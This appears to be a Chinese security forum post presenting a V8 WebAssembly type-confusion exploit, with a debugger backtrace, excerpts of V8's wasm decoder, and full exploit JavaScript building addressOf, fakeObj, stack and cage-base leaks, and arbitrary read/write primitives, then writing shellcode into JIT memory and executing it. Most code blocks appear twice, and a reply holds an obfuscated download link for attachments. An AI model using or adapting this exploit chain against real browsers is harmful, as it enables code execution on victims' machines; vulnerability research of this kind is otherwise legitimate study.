#18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709
#19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879
#20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074
#21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93
#22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105
#23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136
#24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit ()
#25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction ()
if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
  this->DecodeError("expected %u elements on the stack for %s, found %u",
                    arity, merge_description, actual);
  return false;
}
if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
  this->DecodeError("expected %u elements on the stack for %s, found %u",
                    arity, merge_description, actual);
  return false;
}
// Typecheck the topmost {merge->arity} values on the stack.
Value* stack_values = stack_.end() - arity;
for (uint32_t i = 0; i < arity; ++i) {
  Value& val = stack_values[i];
  Value& old = (*merge)[i];
  if (!IsSubtypeOf(val.type, old.type, this->module_)) {
    this->DecodeError("type error in %s[%u] (expected %s, got %s)",
                      merge_description, i, old.type.name().c_str(),
                      val.type.name().c_str());
    return false;
  }
  if constexpr (static_cast<bool>(rewrite_types)) {
    // Upcast type on the stack to the target type of the label.
    val.type = old.type;
  }
}
// Typecheck the topmost {merge->arity} values on the stack.
Value* stack_values = stack_.end() - arity;
for (uint32_t i = 0; i < arity; ++i) {
  Value& val = stack_values[i];
  Value& old = (*merge)[i];
  if (!IsSubtypeOf(val.type, old.type, this->module_)) {
    this->DecodeError("type error in %s[%u] (expected %s, got %s)",
                      merge_description, i, old.type.name().c_str(),
                      val.type.name().c_str());
    return false;
  }
  if constexpr (static_cast<bool>(rewrite_types)) {
    // Upcast type on the stack to the target type of the label.
    val.type = old.type;
  }
}
addressof:
  extern → i32
fakeobj:
  i32 ->extern
AAR:
  i64 -> struct
AAW:
  struct -> i64
addressof:
  extern → i32
fakeobj:
  i32 ->extern
AAR:
  i64 -> struct
AAW:
  struct -> i64
V8_INLINE Value Pop(int index, ValueType expected) {
  Value value = Pop();
  ValidateStackValue(index, value, expected);
  return value;
}
 
V8_INLINE void ValidateStackValue(int index, Value value,
                                  ValueType expected) {
  if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) ||
                value.type == kWasmBottom || expected == kWasmBottom)) {
    PopTypeError(index, value, expected);
  }
}
V8_INLINE Value Pop(int index, ValueType expected) {
  Value value = Pop();
  ValidateStackValue(index, value, expected);
  return value;
}
 
V8_INLINE void ValidateStackValue(int index, Value value,
                                  ValueType expected) {
  if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) ||
                value.type == kWasmBottom || expected == kWasmBottom)) {
    PopTypeError(index, value, expected);
  }
}
DECODE(CallFunction) {
  CallFunctionImmediate imm(this, this->pc_ + 1, validate);
  if (!this->Validate(this->pc_ + 1, imm)) return 0;
  PoppedArgVector args = PopArgs(imm.sig);
  Value* returns = PushReturns(imm.sig);// <-
  CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns);
  MarkMightThrow();
  return 1 + imm.length;
}
DECODE(CallFunction) {
  CallFunctionImmediate imm(this, this->pc_ + 1, validate);
  if (!this->Validate(this->pc_ + 1, imm)) return 0;
  PoppedArgVector args = PopArgs(imm.sig);
  Value* returns = PushReturns(imm.sig);// <-
  CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns);
  MarkMightThrow();
  return 1 + imm.length;
}
kExprCallFunction
  DECODE(CallFunction)
    PushReturns
      PushValueTypes
        Push(ValueType)
          CreateValue
            Push(Value)
kExprCallFunction
  DECODE(CallFunction)
    PushReturns
      PushValueTypes
        Push(ValueType)
          CreateValue
            Push(Value)
addressof:
  extern → i32
fakeobj:
  i32 ->extern
addressof:
  extern → i32
fakeobj:
  i32 ->extern
// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI32,
    kExprBr, 0,
  kExprEnd,
]);
 
// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
  kExprBlock, 0x40,
    kExprLocalGet, 0,
    kExprReturn,
  kExprEnd,
  kExprUnreachable,
]);
  
 
builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI64,
    kExprBr, 0,
  kExprEnd,
]);
// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI32,
    kExprBr, 0,
  kExprEnd,
]);
 
// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
  kExprBlock, 0x40,
    kExprLocalGet, 0,
    kExprReturn,
  kExprEnd,
  kExprUnreachable,
]);
  
 
builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI64,
    kExprBr, 0,
  kExprEnd,
]);
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
  kExprI64Const, 0,
]);
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
  kExprI64Const, 0,
]);
const structType = builder.addStruct([makeField(kWasmI64, true)]);
 
const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
  kExprLocalGet, 0,
]);
 
 
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc() 
.addBody([
  kExprLocalGet, 0,                             
  kExprCallFunction, cast_function.index,
  kGCPrefix, kExprStructGet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
 
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
  kExprLocalGet, 0,
  kExprCallFunction, cast_function.index,
  kExprLocalGet, 1,
  kGCPrefix, kExprStructSet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
const structType = builder.addStruct([makeField(kWasmI64, true)]);
 
const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
  kExprLocalGet, 0,
]);
 
 
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc() 
.addBody([
  kExprLocalGet, 0,                             
  kExprCallFunction, cast_function.index,
  kGCPrefix, kExprStructGet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
 
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
  kExprLocalGet, 0,
  kExprCallFunction, cast_function.index,
  kExprLocalGet, 1,
  kGCPrefix, kExprStructSet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
var wasm_mode = 1;
 
if(wasm_mode){
    prefix = "../../";
    path = "test/mjsunit/wasm/wasm-module-builder.js";
    d8.file.execute(prefix + path);
}
 
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
// function stop(){
//     console.log("stop...");
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    console.log("spin...");
    while(true){};
}
 
function stuck(){
    console.log("readline....");
    readline();
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
const builder = new WasmModuleBuilder();
 
// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI32,
    kExprBr, 0,
  kExprEnd,
]);
 
// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
  kExprBlock, 0x40,
    kExprLocalGet, 0,
    kExprReturn,
  kExprEnd,
  kExprUnreachable,
]);
 
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
  kExprI64Const, 0,
]);
 
const structType = builder.addStruct([makeField(kWasmI64, true)]);
 
const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
  kExprLocalGet, 0,
]);
 
builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,       
  kExprBlock, kWasmI64,
    kExprBr, 0,
  kExprEnd,
]);
 
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc() 
.addBody([
  kExprLocalGet, 0,                             
  kExprCallFunction, cast_function.index,
  kGCPrefix, kExprStructGet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
 
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
  kExprLocalGet, 0,
  kExprCallFunction, cast_function.index,
  kExprLocalGet, 1,
  kGCPrefix, kExprStructSet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
 
const instance = builder.instantiate();
let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports;
 
let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
  logg("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
logg("stack_value", stack_value);
 
// for(let i = 0; i < 10; i++){
//   let test = AAR(stack_value+1n+BigInt(i*0x8));
//   logg("test", test);
// }
 
let jit_code_addr = AAR(stack_value+1n);
 
let cage_base = leak_cage_base(instance) & ~0xffffffffn;
logg("cage_base", cage_base);
logg("jit_code_addr", jit_code_addr);
 
const wasm_bytes = new Uint8Array([
  0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance_shellcode = new WebAssembly.Instance(mod);
const pwn = instance_shellcode.exports.pwn;
 
let offset_to_jit = 0x2959n;
let rop_addr = jit_code_addr+offset_to_jit;
// p(instance_shellcode);
logg("rop_addr", rop_addr);
 
var shellcode = [
  10416984888683040912n,
  10416984888683040912n,
  10416984888683040912n,
  10416984888683040912n,
  72340172838123592n,
  7521907171660923137n,
  302101820911791727n,
  17740191518968858660n,
  21732277098n
];
 
// var shellcode = [
// 0x4141414141414141n,
// 0x4141414141414141n, 
// ];q
 
pwn(0x1n);
 
for(let i = 0; i < shellcode.length; i++){
  AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);
}
// stop();
pwn(0x1n);
 
 
 
// spin();
var wasm_mode = 1;
 
if(wasm_mode){
    prefix = "../../";
    path = "test/mjsunit/wasm/wasm-module-builder.js";
    d8.file.execute(prefix + path);
}
 
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2025-11-19 10:24 被flyyyy编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 6725
活跃值: (2440)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
2
附件太大没办法直接上传,给一个下载链接:ff5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3x3h3I4&6P5i4W2Q4x3V1k6h3z5q4)9J5k6p5g2^5M7r3I4G2K9i4c8Q4x3X3c8o6L8$3I4D9k6h3y4@1K9h3!0F1i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2K9h3&6Q4x3V1k6d9b7#2c8r3x3U0l9J5y4g2)9J5k6r3&6G2i4K6g2X3j5$3S2W2j5$3E0Q4y4h3k6%4j5i4y4E0i4K6u0r3L8X3!0Q4y4h3k6U0K9r3g2U0K9#2)9#2k6W2N6m8f1@1#2Q4y4h3k6#2L8Y4A6A6M7q4)9#2k6Y4m8S2M7%4y4%4L8%4u0V1i4K6g2X3K9i4y4Q4y4h3k6d9b7#2c8r3x3U0l9J5y4g2)9J5k6i4A6A6M7l9`.`.
2025-11-19 10:37
0
游客
登录 | 注册 方可回帖
返回